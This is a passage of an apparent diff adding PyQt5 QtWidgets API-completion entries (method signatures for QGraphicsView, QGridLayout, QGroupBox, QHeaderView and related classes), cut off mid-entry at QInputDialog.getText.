+QtWidgets.QGraphicsScene.focusOnTouch?4() -> bool +QtWidgets.QGraphicsScene.setFocusOnTouch?4(bool) +QtWidgets.QGraphicsScene.SceneLayers?1() +QtWidgets.QGraphicsScene.SceneLayers.__init__?1(self) +QtWidgets.QGraphicsScene.SceneLayers?1(int) +QtWidgets.QGraphicsScene.SceneLayers.__init__?1(self, int) +QtWidgets.QGraphicsScene.SceneLayers?1(QGraphicsScene.SceneLayers) +QtWidgets.QGraphicsScene.SceneLayers.__init__?1(self, QGraphicsScene.SceneLayers) +QtWidgets.QGraphicsSceneEvent.widget?4() -> QWidget +QtWidgets.QGraphicsSceneMouseEvent.pos?4() -> QPointF +QtWidgets.QGraphicsSceneMouseEvent.scenePos?4() -> QPointF +QtWidgets.QGraphicsSceneMouseEvent.screenPos?4() -> QPoint +QtWidgets.QGraphicsSceneMouseEvent.buttonDownPos?4(Qt.MouseButton) -> QPointF +QtWidgets.QGraphicsSceneMouseEvent.buttonDownScenePos?4(Qt.MouseButton) -> QPointF +QtWidgets.QGraphicsSceneMouseEvent.buttonDownScreenPos?4(Qt.MouseButton) -> QPoint +QtWidgets.QGraphicsSceneMouseEvent.lastPos?4() -> QPointF +QtWidgets.QGraphicsSceneMouseEvent.lastScenePos?4() -> QPointF +QtWidgets.QGraphicsSceneMouseEvent.lastScreenPos?4() -> QPoint +QtWidgets.QGraphicsSceneMouseEvent.buttons?4() -> Qt.MouseButtons +QtWidgets.QGraphicsSceneMouseEvent.button?4() -> Qt.MouseButton +QtWidgets.QGraphicsSceneMouseEvent.modifiers?4() -> Qt.KeyboardModifiers +QtWidgets.QGraphicsSceneMouseEvent.source?4() -> Qt.MouseEventSource +QtWidgets.QGraphicsSceneMouseEvent.flags?4() -> Qt.MouseEventFlags +QtWidgets.QGraphicsSceneWheelEvent.pos?4() -> QPointF +QtWidgets.QGraphicsSceneWheelEvent.scenePos?4() -> QPointF +QtWidgets.QGraphicsSceneWheelEvent.screenPos?4() -> QPoint +QtWidgets.QGraphicsSceneWheelEvent.buttons?4() -> Qt.MouseButtons +QtWidgets.QGraphicsSceneWheelEvent.modifiers?4() -> Qt.KeyboardModifiers +QtWidgets.QGraphicsSceneWheelEvent.delta?4() -> int +QtWidgets.QGraphicsSceneWheelEvent.orientation?4() -> Qt.Orientation +QtWidgets.QGraphicsSceneContextMenuEvent.Reason?10 +QtWidgets.QGraphicsSceneContextMenuEvent.Reason.Mouse?10 +QtWidgets.QGraphicsSceneContextMenuEvent.Reason.Keyboard?10 +QtWidgets.QGraphicsSceneContextMenuEvent.Reason.Other?10 +QtWidgets.QGraphicsSceneContextMenuEvent.pos?4() -> QPointF +QtWidgets.QGraphicsSceneContextMenuEvent.scenePos?4() -> QPointF +QtWidgets.QGraphicsSceneContextMenuEvent.screenPos?4() -> QPoint +QtWidgets.QGraphicsSceneContextMenuEvent.modifiers?4() -> Qt.KeyboardModifiers +QtWidgets.QGraphicsSceneContextMenuEvent.reason?4() -> QGraphicsSceneContextMenuEvent.Reason +QtWidgets.QGraphicsSceneHoverEvent.pos?4() -> QPointF +QtWidgets.QGraphicsSceneHoverEvent.scenePos?4() -> QPointF +QtWidgets.QGraphicsSceneHoverEvent.screenPos?4() -> QPoint +QtWidgets.QGraphicsSceneHoverEvent.lastPos?4() -> QPointF +QtWidgets.QGraphicsSceneHoverEvent.lastScenePos?4() -> QPointF +QtWidgets.QGraphicsSceneHoverEvent.lastScreenPos?4() -> QPoint +QtWidgets.QGraphicsSceneHoverEvent.modifiers?4() -> Qt.KeyboardModifiers +QtWidgets.QGraphicsSceneHelpEvent.scenePos?4() -> QPointF +QtWidgets.QGraphicsSceneHelpEvent.screenPos?4() -> QPoint +QtWidgets.QGraphicsSceneDragDropEvent.pos?4() -> QPointF +QtWidgets.QGraphicsSceneDragDropEvent.scenePos?4() -> QPointF +QtWidgets.QGraphicsSceneDragDropEvent.screenPos?4() -> QPoint +QtWidgets.QGraphicsSceneDragDropEvent.buttons?4() -> Qt.MouseButtons +QtWidgets.QGraphicsSceneDragDropEvent.modifiers?4() -> Qt.KeyboardModifiers +QtWidgets.QGraphicsSceneDragDropEvent.possibleActions?4() -> Qt.DropActions +QtWidgets.QGraphicsSceneDragDropEvent.proposedAction?4() -> Qt.DropAction +QtWidgets.QGraphicsSceneDragDropEvent.acceptProposedAction?4() +QtWidgets.QGraphicsSceneDragDropEvent.dropAction?4() -> Qt.DropAction +QtWidgets.QGraphicsSceneDragDropEvent.setDropAction?4(Qt.DropAction) +QtWidgets.QGraphicsSceneDragDropEvent.source?4() -> QWidget +QtWidgets.QGraphicsSceneDragDropEvent.mimeData?4() -> QMimeData +QtWidgets.QGraphicsSceneResizeEvent?1() +QtWidgets.QGraphicsSceneResizeEvent.__init__?1(self) +QtWidgets.QGraphicsSceneResizeEvent.oldSize?4() -> QSizeF +QtWidgets.QGraphicsSceneResizeEvent.newSize?4() -> QSizeF +QtWidgets.QGraphicsSceneMoveEvent?1() +QtWidgets.QGraphicsSceneMoveEvent.__init__?1(self) +QtWidgets.QGraphicsSceneMoveEvent.oldPos?4() -> QPointF +QtWidgets.QGraphicsSceneMoveEvent.newPos?4() -> QPointF +QtWidgets.QGraphicsTransform?1(QObject parent=None) +QtWidgets.QGraphicsTransform.__init__?1(self, QObject parent=None) +QtWidgets.QGraphicsTransform.applyTo?4(QMatrix4x4) +QtWidgets.QGraphicsTransform.update?4() +QtWidgets.QGraphicsScale?1(QObject parent=None) +QtWidgets.QGraphicsScale.__init__?1(self, QObject parent=None) +QtWidgets.QGraphicsScale.origin?4() -> QVector3D +QtWidgets.QGraphicsScale.setOrigin?4(QVector3D) +QtWidgets.QGraphicsScale.xScale?4() -> float +QtWidgets.QGraphicsScale.setXScale?4(float) +QtWidgets.QGraphicsScale.yScale?4() -> float +QtWidgets.QGraphicsScale.setYScale?4(float) +QtWidgets.QGraphicsScale.zScale?4() -> float +QtWidgets.QGraphicsScale.setZScale?4(float) +QtWidgets.QGraphicsScale.applyTo?4(QMatrix4x4) +QtWidgets.QGraphicsScale.originChanged?4() +QtWidgets.QGraphicsScale.scaleChanged?4() +QtWidgets.QGraphicsScale.xScaleChanged?4() +QtWidgets.QGraphicsScale.yScaleChanged?4() +QtWidgets.QGraphicsScale.zScaleChanged?4() +QtWidgets.QGraphicsRotation?1(QObject parent=None) +QtWidgets.QGraphicsRotation.__init__?1(self, QObject parent=None) +QtWidgets.QGraphicsRotation.origin?4() -> QVector3D +QtWidgets.QGraphicsRotation.setOrigin?4(QVector3D) +QtWidgets.QGraphicsRotation.angle?4() -> float +QtWidgets.QGraphicsRotation.setAngle?4(float) +QtWidgets.QGraphicsRotation.axis?4() -> QVector3D +QtWidgets.QGraphicsRotation.setAxis?4(QVector3D) +QtWidgets.QGraphicsRotation.setAxis?4(Qt.Axis) +QtWidgets.QGraphicsRotation.applyTo?4(QMatrix4x4) +QtWidgets.QGraphicsRotation.originChanged?4() +QtWidgets.QGraphicsRotation.angleChanged?4() +QtWidgets.QGraphicsRotation.axisChanged?4() +QtWidgets.QGraphicsView.OptimizationFlag?10 +QtWidgets.QGraphicsView.OptimizationFlag.DontClipPainter?10 +QtWidgets.QGraphicsView.OptimizationFlag.DontSavePainterState?10 +QtWidgets.QGraphicsView.OptimizationFlag.DontAdjustForAntialiasing?10 +QtWidgets.QGraphicsView.ViewportUpdateMode?10 +QtWidgets.QGraphicsView.ViewportUpdateMode.FullViewportUpdate?10 +QtWidgets.QGraphicsView.ViewportUpdateMode.MinimalViewportUpdate?10 +QtWidgets.QGraphicsView.ViewportUpdateMode.SmartViewportUpdate?10 +QtWidgets.QGraphicsView.ViewportUpdateMode.BoundingRectViewportUpdate?10 +QtWidgets.QGraphicsView.ViewportUpdateMode.NoViewportUpdate?10 +QtWidgets.QGraphicsView.ViewportAnchor?10 +QtWidgets.QGraphicsView.ViewportAnchor.NoAnchor?10 +QtWidgets.QGraphicsView.ViewportAnchor.AnchorViewCenter?10 +QtWidgets.QGraphicsView.ViewportAnchor.AnchorUnderMouse?10 +QtWidgets.QGraphicsView.DragMode?10 +QtWidgets.QGraphicsView.DragMode.NoDrag?10 +QtWidgets.QGraphicsView.DragMode.ScrollHandDrag?10 +QtWidgets.QGraphicsView.DragMode.RubberBandDrag?10 +QtWidgets.QGraphicsView.CacheModeFlag?10 +QtWidgets.QGraphicsView.CacheModeFlag.CacheNone?10 +QtWidgets.QGraphicsView.CacheModeFlag.CacheBackground?10 +QtWidgets.QGraphicsView?1(QWidget parent=None) +QtWidgets.QGraphicsView.__init__?1(self, QWidget parent=None) +QtWidgets.QGraphicsView?1(QGraphicsScene, QWidget parent=None) +QtWidgets.QGraphicsView.__init__?1(self, QGraphicsScene, QWidget parent=None) +QtWidgets.QGraphicsView.sizeHint?4() -> QSize +QtWidgets.QGraphicsView.renderHints?4() -> QPainter.RenderHints +QtWidgets.QGraphicsView.setRenderHint?4(QPainter.RenderHint, bool on=True) +QtWidgets.QGraphicsView.setRenderHints?4(QPainter.RenderHints) +QtWidgets.QGraphicsView.alignment?4() -> Qt.Alignment +QtWidgets.QGraphicsView.setAlignment?4(Qt.Alignment) +QtWidgets.QGraphicsView.transformationAnchor?4() -> QGraphicsView.ViewportAnchor +QtWidgets.QGraphicsView.setTransformationAnchor?4(QGraphicsView.ViewportAnchor) +QtWidgets.QGraphicsView.resizeAnchor?4() -> QGraphicsView.ViewportAnchor +QtWidgets.QGraphicsView.setResizeAnchor?4(QGraphicsView.ViewportAnchor) +QtWidgets.QGraphicsView.dragMode?4() -> QGraphicsView.DragMode +QtWidgets.QGraphicsView.setDragMode?4(QGraphicsView.DragMode) +QtWidgets.QGraphicsView.cacheMode?4() -> QGraphicsView.CacheMode +QtWidgets.QGraphicsView.setCacheMode?4(QGraphicsView.CacheMode) +QtWidgets.QGraphicsView.resetCachedContent?4() +QtWidgets.QGraphicsView.isInteractive?4() -> bool +QtWidgets.QGraphicsView.setInteractive?4(bool) +QtWidgets.QGraphicsView.scene?4() -> QGraphicsScene +QtWidgets.QGraphicsView.setScene?4(QGraphicsScene) +QtWidgets.QGraphicsView.sceneRect?4() -> QRectF +QtWidgets.QGraphicsView.setSceneRect?4(QRectF) +QtWidgets.QGraphicsView.rotate?4(float) +QtWidgets.QGraphicsView.scale?4(float, float) +QtWidgets.QGraphicsView.shear?4(float, float) +QtWidgets.QGraphicsView.translate?4(float, float) +QtWidgets.QGraphicsView.centerOn?4(QPointF) +QtWidgets.QGraphicsView.centerOn?4(QGraphicsItem) +QtWidgets.QGraphicsView.ensureVisible?4(QRectF, int xMargin=50, int yMargin=50) +QtWidgets.QGraphicsView.ensureVisible?4(QGraphicsItem, int xMargin=50, int yMargin=50) +QtWidgets.QGraphicsView.fitInView?4(QRectF, Qt.AspectRatioMode mode=Qt.IgnoreAspectRatio) +QtWidgets.QGraphicsView.fitInView?4(QGraphicsItem, Qt.AspectRatioMode mode=Qt.IgnoreAspectRatio) +QtWidgets.QGraphicsView.render?4(QPainter, QRectF target=QRectF(), QRect source=QRect(), Qt.AspectRatioMode mode=Qt.KeepAspectRatio) +QtWidgets.QGraphicsView.items?4() -> unknown-type +QtWidgets.QGraphicsView.items?4(QPoint) -> unknown-type +QtWidgets.QGraphicsView.items?4(int, int) -> unknown-type +QtWidgets.QGraphicsView.items?4(int, int, int, int, Qt.ItemSelectionMode mode=Qt.IntersectsItemShape) -> unknown-type +QtWidgets.QGraphicsView.items?4(QRect, Qt.ItemSelectionMode mode=Qt.IntersectsItemShape) -> unknown-type +QtWidgets.QGraphicsView.items?4(QPolygon, Qt.ItemSelectionMode mode=Qt.IntersectsItemShape) -> unknown-type +QtWidgets.QGraphicsView.items?4(QPainterPath, Qt.ItemSelectionMode mode=Qt.IntersectsItemShape) -> unknown-type +QtWidgets.QGraphicsView.itemAt?4(QPoint) -> QGraphicsItem +QtWidgets.QGraphicsView.mapToScene?4(QPoint) -> QPointF +QtWidgets.QGraphicsView.mapToScene?4(QRect) -> QPolygonF +QtWidgets.QGraphicsView.mapToScene?4(QPolygon) -> QPolygonF +QtWidgets.QGraphicsView.mapToScene?4(QPainterPath) -> QPainterPath +QtWidgets.QGraphicsView.mapFromScene?4(QPointF) -> QPoint +QtWidgets.QGraphicsView.mapFromScene?4(QRectF) -> QPolygon +QtWidgets.QGraphicsView.mapFromScene?4(QPolygonF) -> QPolygon +QtWidgets.QGraphicsView.mapFromScene?4(QPainterPath) -> QPainterPath +QtWidgets.QGraphicsView.inputMethodQuery?4(Qt.InputMethodQuery) -> QVariant +QtWidgets.QGraphicsView.backgroundBrush?4() -> QBrush +QtWidgets.QGraphicsView.setBackgroundBrush?4(QBrush) +QtWidgets.QGraphicsView.foregroundBrush?4() -> QBrush +QtWidgets.QGraphicsView.setForegroundBrush?4(QBrush) +QtWidgets.QGraphicsView.invalidateScene?4(QRectF rect=QRectF(), QGraphicsScene.SceneLayers layers=QGraphicsScene.AllLayers) +QtWidgets.QGraphicsView.updateScene?4(unknown-type) +QtWidgets.QGraphicsView.updateSceneRect?4(QRectF) +QtWidgets.QGraphicsView.setupViewport?4(QWidget) +QtWidgets.QGraphicsView.event?4(QEvent) -> bool +QtWidgets.QGraphicsView.viewportEvent?4(QEvent) -> bool +QtWidgets.QGraphicsView.contextMenuEvent?4(QContextMenuEvent) +QtWidgets.QGraphicsView.dragEnterEvent?4(QDragEnterEvent) +QtWidgets.QGraphicsView.dragLeaveEvent?4(QDragLeaveEvent) +QtWidgets.QGraphicsView.dragMoveEvent?4(QDragMoveEvent) +QtWidgets.QGraphicsView.dropEvent?4(QDropEvent) +QtWidgets.QGraphicsView.focusInEvent?4(QFocusEvent) +QtWidgets.QGraphicsView.focusOutEvent?4(QFocusEvent) +QtWidgets.QGraphicsView.focusNextPrevChild?4(bool) -> bool +QtWidgets.QGraphicsView.keyPressEvent?4(QKeyEvent) +QtWidgets.QGraphicsView.keyReleaseEvent?4(QKeyEvent) +QtWidgets.QGraphicsView.mouseDoubleClickEvent?4(QMouseEvent) +QtWidgets.QGraphicsView.mousePressEvent?4(QMouseEvent) +QtWidgets.QGraphicsView.mouseMoveEvent?4(QMouseEvent) +QtWidgets.QGraphicsView.mouseReleaseEvent?4(QMouseEvent) +QtWidgets.QGraphicsView.wheelEvent?4(QWheelEvent) +QtWidgets.QGraphicsView.paintEvent?4(QPaintEvent) +QtWidgets.QGraphicsView.resizeEvent?4(QResizeEvent) +QtWidgets.QGraphicsView.scrollContentsBy?4(int, int) +QtWidgets.QGraphicsView.showEvent?4(QShowEvent) +QtWidgets.QGraphicsView.inputMethodEvent?4(QInputMethodEvent) +QtWidgets.QGraphicsView.drawBackground?4(QPainter, QRectF) +QtWidgets.QGraphicsView.drawForeground?4(QPainter, QRectF) +QtWidgets.QGraphicsView.setSceneRect?4(float, float, float, float) +QtWidgets.QGraphicsView.centerOn?4(float, float) +QtWidgets.QGraphicsView.ensureVisible?4(float, float, float, float, int xMargin=50, int yMargin=50) +QtWidgets.QGraphicsView.fitInView?4(float, float, float, float, Qt.AspectRatioMode mode=Qt.IgnoreAspectRatio) +QtWidgets.QGraphicsView.itemAt?4(int, int) -> QGraphicsItem +QtWidgets.QGraphicsView.mapToScene?4(int, int) -> QPointF +QtWidgets.QGraphicsView.mapToScene?4(int, int, int, int) -> QPolygonF +QtWidgets.QGraphicsView.mapFromScene?4(float, float) -> QPoint +QtWidgets.QGraphicsView.mapFromScene?4(float, float, float, float) -> QPolygon +QtWidgets.QGraphicsView.viewportUpdateMode?4() -> QGraphicsView.ViewportUpdateMode +QtWidgets.QGraphicsView.setViewportUpdateMode?4(QGraphicsView.ViewportUpdateMode) +QtWidgets.QGraphicsView.optimizationFlags?4() -> QGraphicsView.OptimizationFlags +QtWidgets.QGraphicsView.setOptimizationFlag?4(QGraphicsView.OptimizationFlag, bool enabled=True) +QtWidgets.QGraphicsView.setOptimizationFlags?4(QGraphicsView.OptimizationFlags) +QtWidgets.QGraphicsView.rubberBandSelectionMode?4() -> Qt.ItemSelectionMode +QtWidgets.QGraphicsView.setRubberBandSelectionMode?4(Qt.ItemSelectionMode) +QtWidgets.QGraphicsView.transform?4() -> QTransform +QtWidgets.QGraphicsView.viewportTransform?4() -> QTransform +QtWidgets.QGraphicsView.setTransform?4(QTransform, bool combine=False) +QtWidgets.QGraphicsView.resetTransform?4() +QtWidgets.QGraphicsView.isTransformed?4() -> bool +QtWidgets.QGraphicsView.rubberBandRect?4() -> QRect +QtWidgets.QGraphicsView.rubberBandChanged?4(QRect, QPointF, QPointF) +QtWidgets.QGraphicsView.CacheMode?1() +QtWidgets.QGraphicsView.CacheMode.__init__?1(self) +QtWidgets.QGraphicsView.CacheMode?1(int) +QtWidgets.QGraphicsView.CacheMode.__init__?1(self, int) +QtWidgets.QGraphicsView.CacheMode?1(QGraphicsView.CacheMode) +QtWidgets.QGraphicsView.CacheMode.__init__?1(self, QGraphicsView.CacheMode) +QtWidgets.QGraphicsView.OptimizationFlags?1() +QtWidgets.QGraphicsView.OptimizationFlags.__init__?1(self) +QtWidgets.QGraphicsView.OptimizationFlags?1(int) +QtWidgets.QGraphicsView.OptimizationFlags.__init__?1(self, int) +QtWidgets.QGraphicsView.OptimizationFlags?1(QGraphicsView.OptimizationFlags) +QtWidgets.QGraphicsView.OptimizationFlags.__init__?1(self, QGraphicsView.OptimizationFlags) +QtWidgets.QGridLayout?1(QWidget) +QtWidgets.QGridLayout.__init__?1(self, QWidget) +QtWidgets.QGridLayout?1() +QtWidgets.QGridLayout.__init__?1(self) +QtWidgets.QGridLayout.sizeHint?4() -> QSize +QtWidgets.QGridLayout.minimumSize?4() -> QSize +QtWidgets.QGridLayout.maximumSize?4() -> QSize +QtWidgets.QGridLayout.setRowStretch?4(int, int) +QtWidgets.QGridLayout.setColumnStretch?4(int, int) +QtWidgets.QGridLayout.rowStretch?4(int) -> int +QtWidgets.QGridLayout.columnStretch?4(int) -> int +QtWidgets.QGridLayout.setRowMinimumHeight?4(int, int) +QtWidgets.QGridLayout.setColumnMinimumWidth?4(int, int) +QtWidgets.QGridLayout.rowMinimumHeight?4(int) -> int +QtWidgets.QGridLayout.columnMinimumWidth?4(int) -> int +QtWidgets.QGridLayout.columnCount?4() -> int +QtWidgets.QGridLayout.rowCount?4() -> int +QtWidgets.QGridLayout.cellRect?4(int, int) -> QRect +QtWidgets.QGridLayout.hasHeightForWidth?4() -> bool +QtWidgets.QGridLayout.heightForWidth?4(int) -> int +QtWidgets.QGridLayout.minimumHeightForWidth?4(int) -> int +QtWidgets.QGridLayout.expandingDirections?4() -> Qt.Orientations +QtWidgets.QGridLayout.invalidate?4() +QtWidgets.QGridLayout.addWidget?4(QWidget) +QtWidgets.QGridLayout.addWidget?4(QWidget, int, int, Qt.Alignment alignment=Qt.Alignment()) +QtWidgets.QGridLayout.addWidget?4(QWidget, int, int, int, int, Qt.Alignment alignment=Qt.Alignment()) +QtWidgets.QGridLayout.addLayout?4(QLayout, int, int, Qt.Alignment alignment=Qt.Alignment()) +QtWidgets.QGridLayout.addLayout?4(QLayout, int, int, int, int, Qt.Alignment alignment=Qt.Alignment()) +QtWidgets.QGridLayout.setOriginCorner?4(Qt.Corner) +QtWidgets.QGridLayout.originCorner?4() -> Qt.Corner +QtWidgets.QGridLayout.itemAt?4(int) -> QLayoutItem +QtWidgets.QGridLayout.takeAt?4(int) -> QLayoutItem +QtWidgets.QGridLayout.count?4() -> int +QtWidgets.QGridLayout.setGeometry?4(QRect) +QtWidgets.QGridLayout.addItem?4(QLayoutItem, int, int, int rowSpan=1, int columnSpan=1, Qt.Alignment alignment=Qt.Alignment()) +QtWidgets.QGridLayout.setDefaultPositioning?4(int, Qt.Orientation) +QtWidgets.QGridLayout.getItemPosition?4(int) -> (int, int, int, int) +QtWidgets.QGridLayout.setHorizontalSpacing?4(int) +QtWidgets.QGridLayout.horizontalSpacing?4() -> int +QtWidgets.QGridLayout.setVerticalSpacing?4(int) +QtWidgets.QGridLayout.verticalSpacing?4() -> int +QtWidgets.QGridLayout.setSpacing?4(int) +QtWidgets.QGridLayout.spacing?4() -> int +QtWidgets.QGridLayout.itemAtPosition?4(int, int) -> QLayoutItem +QtWidgets.QGridLayout.addItem?4(QLayoutItem) +QtWidgets.QGroupBox?1(QWidget parent=None) +QtWidgets.QGroupBox.__init__?1(self, QWidget parent=None) +QtWidgets.QGroupBox?1(QString, QWidget parent=None) +QtWidgets.QGroupBox.__init__?1(self, QString, QWidget parent=None) +QtWidgets.QGroupBox.title?4() -> QString +QtWidgets.QGroupBox.setTitle?4(QString) +QtWidgets.QGroupBox.alignment?4() -> Qt.Alignment +QtWidgets.QGroupBox.setAlignment?4(int) +QtWidgets.QGroupBox.minimumSizeHint?4() -> QSize +QtWidgets.QGroupBox.isFlat?4() -> bool +QtWidgets.QGroupBox.setFlat?4(bool) +QtWidgets.QGroupBox.isCheckable?4() -> bool +QtWidgets.QGroupBox.setCheckable?4(bool) +QtWidgets.QGroupBox.isChecked?4() -> bool +QtWidgets.QGroupBox.setChecked?4(bool) +QtWidgets.QGroupBox.clicked?4(bool checked=False) +QtWidgets.QGroupBox.toggled?4(bool) +QtWidgets.QGroupBox.initStyleOption?4(QStyleOptionGroupBox) +QtWidgets.QGroupBox.event?4(QEvent) -> bool +QtWidgets.QGroupBox.childEvent?4(QChildEvent) +QtWidgets.QGroupBox.resizeEvent?4(QResizeEvent) +QtWidgets.QGroupBox.paintEvent?4(QPaintEvent) +QtWidgets.QGroupBox.focusInEvent?4(QFocusEvent) +QtWidgets.QGroupBox.changeEvent?4(QEvent) +QtWidgets.QGroupBox.mousePressEvent?4(QMouseEvent) +QtWidgets.QGroupBox.mouseMoveEvent?4(QMouseEvent) +QtWidgets.QGroupBox.mouseReleaseEvent?4(QMouseEvent) +QtWidgets.QHeaderView.ResizeMode?10 +QtWidgets.QHeaderView.ResizeMode.Interactive?10 +QtWidgets.QHeaderView.ResizeMode.Fixed?10 +QtWidgets.QHeaderView.ResizeMode.Stretch?10 +QtWidgets.QHeaderView.ResizeMode.ResizeToContents?10 +QtWidgets.QHeaderView.ResizeMode.Custom?10 +QtWidgets.QHeaderView?1(Qt.Orientation, QWidget parent=None) +QtWidgets.QHeaderView.__init__?1(self, Qt.Orientation, QWidget parent=None) +QtWidgets.QHeaderView.setModel?4(QAbstractItemModel) +QtWidgets.QHeaderView.orientation?4() -> Qt.Orientation +QtWidgets.QHeaderView.offset?4() -> int +QtWidgets.QHeaderView.length?4() -> int +QtWidgets.QHeaderView.sizeHint?4() -> QSize +QtWidgets.QHeaderView.sectionSizeHint?4(int) -> int +QtWidgets.QHeaderView.visualIndexAt?4(int) -> int +QtWidgets.QHeaderView.logicalIndexAt?4(int) -> int +QtWidgets.QHeaderView.sectionSize?4(int) -> int +QtWidgets.QHeaderView.sectionPosition?4(int) -> int +QtWidgets.QHeaderView.sectionViewportPosition?4(int) -> int +QtWidgets.QHeaderView.moveSection?4(int, int) +QtWidgets.QHeaderView.resizeSection?4(int, int) +QtWidgets.QHeaderView.isSectionHidden?4(int) -> bool +QtWidgets.QHeaderView.setSectionHidden?4(int, bool) +QtWidgets.QHeaderView.count?4() -> int +QtWidgets.QHeaderView.visualIndex?4(int) -> int +QtWidgets.QHeaderView.logicalIndex?4(int) -> int +QtWidgets.QHeaderView.setHighlightSections?4(bool) +QtWidgets.QHeaderView.highlightSections?4() -> bool +QtWidgets.QHeaderView.stretchSectionCount?4() -> int +QtWidgets.QHeaderView.setSortIndicatorShown?4(bool) +QtWidgets.QHeaderView.isSortIndicatorShown?4() -> bool +QtWidgets.QHeaderView.setSortIndicator?4(int, Qt.SortOrder) +QtWidgets.QHeaderView.sortIndicatorSection?4() -> int +QtWidgets.QHeaderView.sortIndicatorOrder?4() -> Qt.SortOrder +QtWidgets.QHeaderView.stretchLastSection?4() -> bool +QtWidgets.QHeaderView.setStretchLastSection?4(bool) +QtWidgets.QHeaderView.sectionsMoved?4() -> bool +QtWidgets.QHeaderView.setOffset?4(int) +QtWidgets.QHeaderView.headerDataChanged?4(Qt.Orientation, int, int) +QtWidgets.QHeaderView.setOffsetToSectionPosition?4(int) +QtWidgets.QHeaderView.geometriesChanged?4() +QtWidgets.QHeaderView.sectionMoved?4(int, int, int) +QtWidgets.QHeaderView.sectionResized?4(int, int, int) +QtWidgets.QHeaderView.sectionPressed?4(int) +QtWidgets.QHeaderView.sectionClicked?4(int) +QtWidgets.QHeaderView.sectionDoubleClicked?4(int) +QtWidgets.QHeaderView.sectionCountChanged?4(int, int) +QtWidgets.QHeaderView.sectionHandleDoubleClicked?4(int) +QtWidgets.QHeaderView.updateSection?4(int) +QtWidgets.QHeaderView.resizeSections?4() +QtWidgets.QHeaderView.sectionsInserted?4(QModelIndex, int, int) +QtWidgets.QHeaderView.sectionsAboutToBeRemoved?4(QModelIndex, int, int) +QtWidgets.QHeaderView.initialize?4() +QtWidgets.QHeaderView.initializeSections?4() +QtWidgets.QHeaderView.initializeSections?4(int, int) +QtWidgets.QHeaderView.currentChanged?4(QModelIndex, QModelIndex) +QtWidgets.QHeaderView.event?4(QEvent) -> bool +QtWidgets.QHeaderView.viewportEvent?4(QEvent) -> bool +QtWidgets.QHeaderView.paintEvent?4(QPaintEvent) +QtWidgets.QHeaderView.mousePressEvent?4(QMouseEvent) +QtWidgets.QHeaderView.mouseMoveEvent?4(QMouseEvent) +QtWidgets.QHeaderView.mouseReleaseEvent?4(QMouseEvent) +QtWidgets.QHeaderView.mouseDoubleClickEvent?4(QMouseEvent) +QtWidgets.QHeaderView.paintSection?4(QPainter, QRect, int) +QtWidgets.QHeaderView.sectionSizeFromContents?4(int) -> QSize +QtWidgets.QHeaderView.horizontalOffset?4() -> int +QtWidgets.QHeaderView.verticalOffset?4() -> int +QtWidgets.QHeaderView.updateGeometries?4() +QtWidgets.QHeaderView.scrollContentsBy?4(int, int) +QtWidgets.QHeaderView.dataChanged?4(QModelIndex, QModelIndex, unknown-type roles=[]) +QtWidgets.QHeaderView.rowsInserted?4(QModelIndex, int, int) +QtWidgets.QHeaderView.visualRect?4(QModelIndex) -> QRect +QtWidgets.QHeaderView.scrollTo?4(QModelIndex, QAbstractItemView.ScrollHint) +QtWidgets.QHeaderView.indexAt?4(QPoint) -> QModelIndex +QtWidgets.QHeaderView.isIndexHidden?4(QModelIndex) -> bool +QtWidgets.QHeaderView.moveCursor?4(QAbstractItemView.CursorAction, Qt.KeyboardModifiers) -> QModelIndex +QtWidgets.QHeaderView.setSelection?4(QRect, QItemSelectionModel.SelectionFlags) +QtWidgets.QHeaderView.visualRegionForSelection?4(QItemSelection) -> QRegion +QtWidgets.QHeaderView.logicalIndexAt?4(int, int) -> int +QtWidgets.QHeaderView.logicalIndexAt?4(QPoint) -> int +QtWidgets.QHeaderView.hideSection?4(int) +QtWidgets.QHeaderView.showSection?4(int) +QtWidgets.QHeaderView.resizeSections?4(QHeaderView.ResizeMode) +QtWidgets.QHeaderView.hiddenSectionCount?4() -> int +QtWidgets.QHeaderView.defaultSectionSize?4() -> int +QtWidgets.QHeaderView.setDefaultSectionSize?4(int) +QtWidgets.QHeaderView.defaultAlignment?4() -> Qt.Alignment +QtWidgets.QHeaderView.setDefaultAlignment?4(Qt.Alignment) +QtWidgets.QHeaderView.sectionsHidden?4() -> bool +QtWidgets.QHeaderView.swapSections?4(int, int) +QtWidgets.QHeaderView.cascadingSectionResizes?4() -> bool +QtWidgets.QHeaderView.setCascadingSectionResizes?4(bool) +QtWidgets.QHeaderView.minimumSectionSize?4() -> int +QtWidgets.QHeaderView.setMinimumSectionSize?4(int) +QtWidgets.QHeaderView.saveState?4() -> QByteArray +QtWidgets.QHeaderView.restoreState?4(QByteArray) -> bool +QtWidgets.QHeaderView.reset?4() +QtWidgets.QHeaderView.setOffsetToLastSection?4() +QtWidgets.QHeaderView.sectionEntered?4(int) +QtWidgets.QHeaderView.sortIndicatorChanged?4(int, Qt.SortOrder) +QtWidgets.QHeaderView.initStyleOption?4(QStyleOptionHeader) +QtWidgets.QHeaderView.setSectionsMovable?4(bool) +QtWidgets.QHeaderView.sectionsMovable?4() -> bool +QtWidgets.QHeaderView.setSectionsClickable?4(bool) +QtWidgets.QHeaderView.sectionsClickable?4() -> bool +QtWidgets.QHeaderView.sectionResizeMode?4(int) -> QHeaderView.ResizeMode +QtWidgets.QHeaderView.setSectionResizeMode?4(int, QHeaderView.ResizeMode) +QtWidgets.QHeaderView.setSectionResizeMode?4(QHeaderView.ResizeMode) +QtWidgets.QHeaderView.setVisible?4(bool) +QtWidgets.QHeaderView.setResizeContentsPrecision?4(int) +QtWidgets.QHeaderView.resizeContentsPrecision?4() -> int +QtWidgets.QHeaderView.maximumSectionSize?4() -> int +QtWidgets.QHeaderView.setMaximumSectionSize?4(int) +QtWidgets.QHeaderView.resetDefaultSectionSize?4() +QtWidgets.QHeaderView.setFirstSectionMovable?4(bool) +QtWidgets.QHeaderView.isFirstSectionMovable?4() -> bool +QtWidgets.QInputDialog.InputMode?10 +QtWidgets.QInputDialog.InputMode.TextInput?10 +QtWidgets.QInputDialog.InputMode.IntInput?10 +QtWidgets.QInputDialog.InputMode.DoubleInput?10 +QtWidgets.QInputDialog.InputDialogOption?10 +QtWidgets.QInputDialog.InputDialogOption.NoButtons?10 +QtWidgets.QInputDialog.InputDialogOption.UseListViewForComboBoxItems?10 +QtWidgets.QInputDialog.InputDialogOption.UsePlainTextEditForTextInput?10 +QtWidgets.QInputDialog?1(QWidget parent=None, Qt.WindowFlags flags=Qt.WindowFlags()) +QtWidgets.QInputDialog.__init__?1(self, QWidget parent=None, Qt.WindowFlags flags=Qt.WindowFlags()) +QtWidgets.QInputDialog.getText?4(QWidget, QString, QString, 